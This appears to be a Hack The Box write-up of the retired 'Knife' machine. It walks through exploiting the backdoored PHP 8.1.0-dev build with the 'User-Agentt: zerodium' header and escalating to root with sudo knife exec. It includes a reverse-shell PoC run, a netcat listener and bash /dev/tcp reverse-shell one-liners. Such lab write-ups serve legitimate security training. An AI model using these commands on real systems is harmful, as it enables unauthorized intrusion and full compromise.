root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat knife.md
// writeups

Knife

22 May 2021 · 9 min read
Knife - maquina de Hack The Box

Executive summary — Knife is an Easy Linux box built around two very clean pieces of offensive security: the server exposes a development build of PHP (8.1.0-dev) carrying a real backdoor planted during a supply-chain compromise of the PHP project's own infrastructure, giving RCE with a single crafted HTTP header; and privilege escalation abuses knife (Chef's Ruby CLI), authorized via passwordless sudo, whose exec subcommand runs arbitrary Ruby as root. Path: PHP backdoor → direct RCE as james → sudo knife exec → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.23.191

Attack map

[80] Apache · PHP 8.1.0-dev (backdoored development build)
   │  source backdoor → «User-Agentt: zerodium ...» header runs PHP code
   ▼
[SHELL]  james  (direct RCE, no www-data hop) → user.txt
   │  sudo -l → (root) NOPASSWD: /usr/bin/knife
   ▼
[ROOT]  knife exec (arbitrary Ruby script) as root → root.txt

1. Reconnaissance

Before anything else, we run a full port scan rather than the default top-1000: on CTF boxes the interesting service is often on a high port, and limiting the scan can blind us to half the attack surface.

nmap -p- --open -n -T5 -v 10.129.23.191
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63  OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open  http    syn-ack ttl 63  Apache httpd 2.4.41 ((Ubuntu))

Minimal surface: only SSH (22) and HTTP (80). The web page itself shows nothing remarkable at first glance — the clue is hiding in the response headers, so we inspect them with Burp Suite or the browser's DevTools:

X-Powered-By: PHP/8.1.0-dev

The golden clue: 8.1.0-dev is not a stable release, it's an internal development build of PHP — it should never reach a production server. And that specific version happens to carry one of the most talked-about backdoors in PHP's recent history.

2. The vulnerability: the PHP 8.1.0-dev backdoor

On March 28, 2021, two malicious commits were pushed to the official php-src repository through a compromise of the git.php.net server itself (not an individual maintainer's account). The commits, signed under the names of Rasmus Lerdorf and Nikita Popov (PHP's creator and a core maintainer, respectively) to blend in, added a function to ext/standard/info.c that runs on every HTTP request.

How the backdoor works: it checks whether the incoming HTTP header is named User-Agentt — with a double «t», a deliberate typo so it doesn't collide with the legitimate User-Agent — and whether its value starts with the string zerodium (a direct jab at the exploit broker of the same name). If both conditions match, the rest of the header value is passed straight into zend_eval_string() — that is, executed as arbitrary PHP code.

The PHP team spotted the anomaly the same day, reverted the commits, and as a direct consequence of the incident moved all core development to GitHub. But any install still running that exact 8.1.0-dev build — like this box — remains trivial, unauthenticated RCE. Reference PoC: github.com/flast101/php-8.1.0-dev-backdoor-rce.

3. Foothold (RCE)

We clone the public PoC that automates sending the payload and spawning the reverse shell:

git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce

We start a netcat listener in one terminal:

nc -lvnp 4444

And in another, run the script against the target (it requires the explicit http:// scheme in the URL; the arguments are target URL, attacker IP and listening port):

python3 revshell_php_8.1.0-dev.py http://10.129.23.191 <ATTACKER_IP> 4444

The incoming connection on the netcat listener already lands as a shell for user james — not www-data, which would be expected on a stock Apache setup. This indicates the PHP process serving the backdoored app runs under james's own account rather than the usual web-server user, so the RCE hands us a regular-user shell directly, with no low-privilege intermediate hop.

whoami  →  james

4. Capturing the user flag

cd /home/james
cat user.txt

5. Privilege escalation

As always after landing a shell, the first move is checking what the current user can run with elevated privileges via sudo.

sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

What knife is: the CLI for Chef, the configuration-management and infrastructure tool, written in Ruby. Its exec subcommand is meant to run administrative Ruby scripts against managed nodes — and here james can invoke it as root, without a password, with no restriction on which script it runs.

We write a tiny Ruby script that simply spawns an interactive shell and run it via knife exec:

cd /tmp
echo "system('/bin/bash')" > test.rb
sudo /usr/bin/knife exec test.rb
id
uid=0(root) gid=0(root) groups=0(root)

6. Alternative escalation vectors

The same primitive — arbitrary Ruby inside knife exec — supports other equivalent forms, useful if for whatever reason we can't drop a file into /tmp. Via a script with an embedded reverse shell:

echo '%x[bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]' > x.rb
sudo /usr/bin/knife exec x.rb

Or directly as a one-liner with -E, with no file touching disk at all:

sudo /usr/bin/knife exec -E '%x[/bin/bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"]'

7. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdPHP 8.1.0-devSource backdoor (User-Agentt: zerodium<payload> header evaluated as PHP)Unauthenticated RCE as james
PrivEscsudo + knifeknife exec runs any Ruby script as root via NOPASSWDEscalation to root

Lessons learned

  • Never ship development/pre-release builds to production (PHP -dev, RC, nightly…): they can carry unaudited last-minute code, or outright a backdoor.
  • Always check the HTTP response headers: X-Powered-By revealed the exact backend version here, and with it the entry point.
  • Supply chain is a real attack surface: the backdoor didn't come from an application bug, it came from a compromise of the language's own official repository.
  • Audit every sudo NOPASSWD entry over tools that execute code (knife, perl, python, ansible, puppet…): they're root in disguise, catalogued on GTFOBins.
  • One misconfigured entry in sudoers undoes everything else: no matter how well-patched the rest of the system is, this is the textbook example of a poorly applied least-privilege control (CIS Control 5, ISO 27001 A.8.2/A.9.2) checkmating the whole hardening effort.